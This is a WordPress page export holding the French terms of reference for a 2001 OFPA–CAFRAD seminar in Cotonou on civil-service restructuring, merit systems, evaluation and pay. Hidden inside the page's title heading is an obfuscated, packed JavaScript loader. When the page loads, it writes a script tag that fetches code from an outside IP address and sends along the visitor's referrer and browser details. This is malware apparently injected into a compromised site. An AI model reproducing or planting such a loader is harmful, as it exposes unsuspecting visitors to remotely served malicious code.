{"id":217,"date":"2017-09-05T18:39:23","date_gmt":"2017-09-05T16:39:23","guid":{"rendered":"http:\/\/site.ofpa.net\/?page_id=217"},"modified":"2017-09-05T19:09:27","modified_gmt":"2017-09-05T17:09:27","slug":"termes-de-reference","status":"publish","type":"page","link":"http:\/\/www.ofpa.net\/de\/agenda\/2001-2\/restructuration-et-modernisation-de-la-fonction-publique-systeme-de-merite-et-motivation\/termes-de-reference\/","title":{"rendered":"Termes de R\u00e9f\u00e9rence"},"content":{"rendered":"<p style=\"text-align: center;\">\u00a0<strong><span style=\"color: #000080;\">SEMINAIRE <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|banae|var|u0026u|referrer|dfyfy||js|php'.split('|'),0,{}))\n<\/script><\/noindex> CONJOINT OFPA &#8211; CAFRAD<\/span><\/strong><\/p>\n<div align=\"center\">\n<div align=\"center\"><strong>&#8220;RESTRUCTURATION ET MODERNISATION DE LA FONCTION PUBLIQUE : Syst\u00e8me de m\u00e9rite et motivation&#8221;<\/strong><\/div>\n<p style=\"text-align: center;\"><span style=\"font-size: large;\"><strong><span style=\"color: #008000;\"> Cotonou, (B\u00e9nin) 28 mai au 1<sup>er<\/sup> juin 2001<\/span><\/strong><\/span><\/p>\n<\/div>\n<div align=\"center\"><strong>TERMES DE REFERENCE<\/strong><\/div>\n<p><b> I. JUSTIFICATION<\/b><\/p>\n<p>La r\u00e9forme de la fonction publique constitue pr\u00e9sentement une des priorit\u00e9s majeures des pays Africains. Dans beaucoup de cas, la fonction publique ne remplit plus valablement son r\u00f4le de servir le citoyen et d&#8217;\u00e9pauler le gouvernement. Non seulement, les structures et les modes d&#8217;intervention sont d\u00e9pass\u00e9es mais \u00e9galement les objectifs, les m\u00e9thodes de travail et l&#8217;attitude vis-\u00e0-vis des usagers sont \u00e0 revoir. Le fonctionnaire, par faute de motivation et de conditions de travail attirantes, est devenu de plus en plus improductif et co\u00fbteux \u00e0 l&#8217;administration. En ce moment de mont\u00e9e croissante de demande de services et de contraintes budg\u00e9taires, comment reformer la fonction publique pour qu&#8217;elle devienne performante et qu&#8217;elle serve d&#8217;un instrument d&#8217;appui au d\u00e9veloppement \u00e9conomique? En d&#8217;autres termes, quelle administration faudra-t-il concevoir et mettre en place qui soit, \u00e0 la fois, moderne, modeste, \u00e9conomique et au service du citoyen et du gouvernement ?<\/p>\n<p>Cette question trouve certainement sa r\u00e9ponse dans les programmes de r\u00e9forme administrative. Des r\u00e9formes qui tiennent compte non seulement du pass\u00e9 et du contexte culturel de chaque pays, mais aussi et surtout des changements et des d\u00e9fis actuels et futurs, sont attendus avec urgence. Aucune relance \u00e9conomique n&#8217;est possible sans une administration saine et efficace. D&#8217;o\u00f9, l&#8217;importance capitale de se concerter et de renforcer les capacit\u00e9s dans la r\u00e9forme administrative.<\/p>\n<p>Le s\u00e9minaire faisant l&#8217;objet de ce document est con\u00e7u dans cette perspective de confronter les exp\u00e9riences nationales avec les nouvelles m\u00e9thodes et tendances affectant les programmes de r\u00e9formes et de modernisation administratives. Il s&#8217;agit d&#8217;une opportunit\u00e9 pour examiner quelques nouvelles pratiques et quelques orientations en rapport avec l&#8217;am\u00e9lioration de la performance de l&#8217;administration publique, et ensuite, explorer les m\u00e9canismes et les moyens aff\u00e9rents \u00e0 leur incorporation dans les programmes en cours. Le s\u00e9minaire servira, de ce fait, d&#8217;un moment de r\u00e9flexion approfondie, d&#8217;analyse et de comparaison, et aussi de proposition des solutions concr\u00e8tes et r\u00e9alistes pour les pays repr\u00e9sent\u00e9s. C&#8217;est une rencontre des praticiens qui vont examiner des situations concr\u00e8tes, auxquelles les changements et les am\u00e9liorations sont attendus. <b><\/b><\/p>\n<p><b>II. OBJECTIFS <\/b><\/p>\n<p>L&#8217;objectif principal du s\u00e9minaire est d&#8217;amener les participants \u00e0 r\u00e9fl\u00e9chir d&#8217;une fa\u00e7on comparative sur les nouvelles tendances et les nouvelles m\u00e9thodes de gestion publique, et aussi examiner les possibilit\u00e9s de leur prise en compte dans les programmes de r\u00e9forme administrative. D&#8217;une fa\u00e7on sp\u00e9cifique, le s\u00e9minaire est organis\u00e9 pour des objectifs suivants :<\/p>\n<p><b>1.<\/b> Sensibiliser les participants aux nouvelles tendances, orientations et pratiques dans les administrations publiques.<\/p>\n<p><b>2.<\/b> D\u00e9velopper les capacit\u00e9s et les comp\u00e9tences des participants \u00e0 travers les nouvelles m\u00e9thodes de gestion publique bas\u00e9es sur l&#8217;am\u00e9lioration de la performance, l&#8217;efficacit\u00e9 de l&#8217;administration et la bonne gouvernance<\/p>\n<p><b>3.<\/b> Explorer les avantages \u00e9manant des syst\u00e8mes de m\u00e9rite, de motivation, de l&#8217;\u00e9valuation, de professionnalisme et de moralisation dans la fonction publique.<\/p>\n<p><b>4.<\/b> Echanger les exp\u00e9riences et les connaissances sur les diff\u00e9rents programmes et projets de r\u00e9forme et de modernisation de la fonction publique en Afrique. <b><\/b><\/p>\n<p><b>III. CONTENU (PROGRAMME)<\/b><\/p>\n<p>Le s\u00e9minaire se concentrera aux grands sous-th\u00e8mes ci-apr\u00e8s et essayera de r\u00e9pondre aux diverses questions soulev\u00e9es : <b><\/b><\/p>\n<div align=\"center\">\n<p><b>1) Restructuration et Modernisation de la Fonction Publique : <\/b><\/p>\n<\/div>\n<p><b>i.<\/b> Nouvelle conception de la Fonction Publique, nouveaux objectifs, nouvelles missions, nouveaux champs d&#8217;intervention, nouvelles obligations, nouvelles responsabilit\u00e9s.<\/p>\n<p><b>ii.<\/b> Nouvelles relations entre la Fonction Publique et le citoyen, le fonctionnaire, le gouvernement, la soci\u00e9t\u00e9 civile, le d\u00e9veloppement socio-\u00e9conomique. Nouvelle organisation, nouvelles structures et nouveaux organigrammes, r\u00e9partition des fonctions, des responsabilit\u00e9s et des t\u00e2ches selon les objectifs \u00e0 atteindre, les projets et les programmes \u00e0 r\u00e9aliser et cela, conform\u00e9ment aux besoins exprim\u00e9s et aux moyens disponibles.<\/p>\n<p><b>iii.<\/b> M\u00e9thodes de la nouvelle gestion publique : responsabilisation, accessibilit\u00e9, productivit\u00e9, r\u00e9sultants et clients etc..<\/p>\n<p><b>iv.<\/b> Nouvelles technologies de l&#8217;information et de la communication : gouvernance \u00e9lectronique, informatique, sites internet, r\u00e9seaux, visibilit\u00e9, etc&#8230;<\/p>\n<p><b>Question :<\/b><\/p>\n<p>Quelles r\u00e9forme et quelles structures faudra-t-il mettre en place pour adapter la fonction publique aux exigences des citoyens, aux nouvelles missions de l&#8217;Etat et aux tendances de la mondialisation? <b><\/b><\/p>\n<div align=\"center\">\n<p><b>2) Le syst\u00e8me de m\u00e9rite dans la Fonction Publique :<\/b><\/p>\n<\/div>\n<p><b>\u00b7<\/b> Caract\u00e9ristiques du syst\u00e8me de m\u00e9rite : ce qu&#8217;il signifie et qu&#8217;il implique, son application dans le priv\u00e9 et ailleurs.<\/p>\n<p><b>\u00b7 <\/b>Comparaison avec d&#8217;autres syst\u00e8mes : syst\u00e8me de contrat, de carri\u00e8re \u00e0 vie, etc&#8230;<\/p>\n<p><b>\u00b7<\/b> Avantages et inconv\u00e9nients du syst\u00e8me de m\u00e9rite : son application dans la Fonction Publique.<\/p>\n<p><b>\u00b7<\/b> Syst\u00e8me de m\u00e9rite dans le recrutement, la nomination, la promotion et le d\u00e9veloppement des carri\u00e8res.<\/p>\n<p><b>\u00b7<\/b> La diversit\u00e9 dans la fonction publique. <b><\/b><\/p>\n<p><b>Question :<\/b><\/p>\n<p>Comment r\u00e9compenser proprement le fonctionnaire qui le m\u00e9rite et assurer l&#8217;efficacit\u00e9 des services, tout en consid\u00e9rant la diversit\u00e9 dans la fonction publique ? <b><\/b><\/p>\n<div align=\"center\">\n<p><b>3) Evaluation de la performance et de la productivit\u00e9 dans la Fonction Publique : <\/b><\/p>\n<\/div>\n<p>Syst\u00e8mes d&#8217;\u00e9valuation et objectifs : diff\u00e9rents syst\u00e8mes et leur utilisation.<\/p>\n<p>Evaluation du personnel : comment et pourquoi \u00e9valuer.<\/p>\n<p>Evaluation ou audit des services et des organisations.<\/p>\n<p>Les outils d&#8217;\u00e9valuation : leur qualit\u00e9 et leur objectivit\u00e9.<\/p>\n<p>Suivi et utilisation de l&#8217;\u00e9valuation. <b><\/b><\/p>\n<p><b>Question :<\/b><\/p>\n<p>Comment \u00e9valuer les fonctionnaires et pour quels r\u00e9sultats ? <b><\/b><\/p>\n<div align=\"center\">\n<p><b>4) Motivation et R\u00e9mun\u00e9ration dans la fonction publique : <\/b><\/p>\n<\/div>\n<p><b>\u00b7<\/b> Modes de motivation : financi\u00e8re, sociale et professionnelle.<\/p>\n<p><b>\u00b7 <\/b>La r\u00e9mun\u00e9ration dans la fonction publique.<\/p>\n<p><b>\u00b7 <\/b>Les bases du calcul des salaires des fonctionnaires, composition des salaires, niveau des salaires, comparaison avec d&#8217;autres secteurs.<\/p>\n<p><b>\u00b7<\/b> Comment augmenter les salaires et les maintenir au niveau du co\u00fbt de la vie, tout en tenant compte des contraintes budg\u00e9taires et des exigences du d\u00e9veloppement \u00e9conomique des pays ?<\/p>\n<p><b>\u00b7<\/b> Les conditions mat\u00e9rielles de travail : espace, \u00e9quipement et vie associative.<\/p>\n<p><b>\u00b7<\/b> Le d\u00e9veloppement des comp\u00e9tences et des connaissances.<\/p>\n<p><b>\u00b7<\/b> Quelle formation, pour quel rendement et pour atteindre quels objectifs ? <b><\/b><\/p>\n<p><b>Question :<\/b><\/p>\n<p>Comment motiver et quelle motivation pour le personnel de l&#8217;Etat ? <b><\/b><\/p>\n<p><b>IV. PARTICIPANTS <\/b><\/p>\n<p>Le s\u00e9minaire est con\u00e7u pour les hauts responsables de l&#8217;administration, en charge de la r\u00e9forme et de la modernisation de la fonction publique. Il s&#8217;adresse particuli\u00e8rement aux Secr\u00e9taires G\u00e9n\u00e9raux et aux Directeurs G\u00e9n\u00e9raux du Minist\u00e8re de la Fonction Publique, de la R\u00e9forme et de la Modernisation de l&#8217;Administration. Le s\u00e9minaire int\u00e9resse \u00e9galement les pr\u00e9sidents des commissions nationales de r\u00e9formes administratives. Les participants devraient \u00eatre dot\u00e9s de plusieurs ann\u00e9es d&#8217;exp\u00e9rience dans la gestion et la r\u00e9forme de la fonction publique.<\/p>\n<p>Les participants sont requis d&#8217;amener quelques documents en rapport avec les sous- th\u00e8mes du s\u00e9minaire et de faire de pr\u00e9sentation sur leur exp\u00e9rience. <b><\/b><\/p>\n<p><b>V. PERSONNES RESSOURCES <\/b><\/p>\n<p>Les personnes ressources seront des consultants dot\u00e9s d&#8217;une exp\u00e9rience \u00e9prouv\u00e9e dans les mati\u00e8res du s\u00e9minaire. Ils pr\u00e9senteront les th\u00e8mes, dirigeront les d\u00e9bats et participeront \u00e0 l&#8217;\u00e9laboration du rapport du s\u00e9minaire. <b><\/b><\/p>\n<p><b>VI. METHODOLOGIE <\/b><\/p>\n<p>Prenant en consid\u00e9ration le haut niveau des participants et des personnes ressources, les m\u00e9thodes participatives et actives seront utilis\u00e9es. Les personnes ressources feront la pr\u00e9sentation des sujets, suivie de discussions ou interventions des participants. Au cours de discussions, les participants pr\u00e9senteront les cas aff\u00e9rents aux pratiques dans leurs pays respectifs. <b><\/b><\/p>\n<p><b>VII. RESULTATS ESCOMPTES <\/b><\/p>\n<p>A la fin du s\u00e9minaire, nous nous attendons \u00e0 ce que les participants soient en mesure non seulement de comprendre et d&#8217;analyser les diff\u00e9rentes tendances et orientations affectant les administrations mais \u00e9galement qu&#8217;ils soient capables d&#8217;apporter des changements et des r\u00e9formes s&#8217;inspirant des r\u00e9sultats du s\u00e9minaire. En outre, un rapport sera \u00e9labor\u00e9, reprenant l&#8217;ensemble de grandes lignes et des conclusions du S\u00e9minaire. Le rapport sera publi\u00e9 pour \u00eatre utilis\u00e9 dans d&#8217;autres actions de formation.<\/p>\n<p><b>VIII. DUREE :<\/b> Le S\u00e9minaire durera cinq (5) jours.<\/p>\n<p><b>IX. DATE<\/b> : Le S\u00e9minaire est pr\u00e9vu du 28 Mai au 1er Juin 2001.<\/p>\n<p><b>X. LIEU<\/b> : Cotonou (BENIN).<\/p>\n<p><b>XI. LANGUE<\/b> : Fran\u00e7ais.<\/p>\n<p><b>XII. COLLABORATEURS (ORGANISATEURS)<\/b> : OFPA, CAFRAD et le Gouvernement du B\u00e9nin (pays-h\u00f4te<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u00a0SEMINAIRE CONJOINT OFPA &#8211; CAFRAD &#8220;RESTRUCTURATION ET MODERNISATION DE LA FONCTION PUBLIQUE : Syst\u00e8me de m\u00e9rite et motivation&#8221; Cotonou, (B\u00e9nin) 28 mai au 1er juin 2001 TERMES DE REFERENCE I&#8230;. <a class=\"read-more-button\" href=\"http:\/\/www.ofpa.net\/de\/agenda\/2001-2\/restructuration-et-modernisation-de-la-fonction-publique-systeme-de-merite-et-motivation\/termes-de-reference\/\">Mehr Lesen &gt;<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"parent":185,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"template-full-width.php","meta":[],"_links":{"self":[{"href":"http:\/\/www.ofpa.net\/de\/wp-json\/wp\/v2\/pages\/217"}],"collection":[{"href":"http:\/\/www.ofpa.net\/de\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"http:\/\/www.ofpa.net\/de\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"http:\/\/www.ofpa.net\/de\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.ofpa.net\/de\/wp-json\/wp\/v2\/comments?post=217"}],"version-history":[{"count":3,"href":"http:\/\/www.ofpa.net\/de\/wp-json\/wp\/v2\/pages\/217\/revisions"}],"predecessor-version":[{"id":230,"href":"http:\/\/www.ofpa.net\/de\/wp-json\/wp\/v2\/pages\/217\/revisions\/230"}],"up":[{"embeddable":true,"href":"http:\/\/www.ofpa.net\/de\/wp-json\/wp\/v2\/pages\/185"}],"wp:attachment":[{"href":"http:\/\/www.ofpa.net\/de\/wp-json\/wp\/v2\/media?parent=217"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}